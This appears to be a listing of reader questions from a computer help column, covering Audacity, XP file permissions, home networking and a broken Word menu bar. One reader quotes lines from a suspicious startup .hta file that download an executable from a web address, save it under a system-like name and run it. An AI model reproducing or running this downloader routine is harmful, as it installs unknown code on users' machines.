If you have ever wanted to edit audio on your computer, but haven’t been able to find a good sound editing application Audacity may be for you! Audacity is a cross-platform audio editor and, because it is open source, is completely free. You can download versions of Audacity for Windows, Mac, and Linux/Unix from audacity.sourceforge.net. (more…)

When Windows starts a window appears containing squares and symbols, and in the middle of the window has the text ‘meaning less s**t I had to put here’. According to the bar at the top, the file is located at C:Documents and SettingsAll UsersStart MenuProgramsStartupMicrosoft.hta. Viewing the source reveals more symbols and commands, including:
o.open “GET”,”http://…/winhelp.exe”,False
s.savetofile “C:windowshlp32.exe”,2
ws.Run “C:windowshlp32.exe”
What does this all mean? Norton Antivirus, Spybot Search & Destory, and Ad-Aware are all run regularly but none of these have detected this nastie. The computer is running Windows XP. (more…)

After downloading photos to the computer from my new digital camera I attempted to edit one of the photos. A message appeared stating that the file was read only. When attempting to change the read-only property on the file, the containing folder as well as the My Pictures and My Documents folders all showed the read-only property as a filled-in box rather than the usual setting of either a tick in the box or an empty box. When I change the read-only property and click OK, then re-open the folder properties, it has defaulted back to the previous setting. How can I fix the read-only property? The computer is running Windows XP. (more…)

My home setup has two PCs running Windows XP, and one printer attached to each PC. I wish to network both PCs together so any printer can be used from any PC, and to allow files and internet to be shared between the computers. You recently wrote an article about a cross-over cable. Can one of these cables be used for this setup, or do we need to buy a special router or print server? (more…)

Word 2000 has worked happily since purchase until recently when it ceased displaying the menu bar. There is a limited menu with a mouse right-click and it responds to commands activated by Function keys (F1 for help, F5 for Find and replace) but does not respond to Ctrl-F10 (Activate menu bar) or to any menu commands using the Alt key (eg Alt-F-O for File Open). This largely disables Word as most of its functionality is now inaccessible to me. So far, I have tried: opening Word with templates other than Normal.Dot, uninstalling and then reinstalling Office 2000, reinstalling Windows 98, installing an Office 2000 Update from the Microsoft website, and running a virus scan. However, none of these procedures have fixed the problem. Can you help? (more…)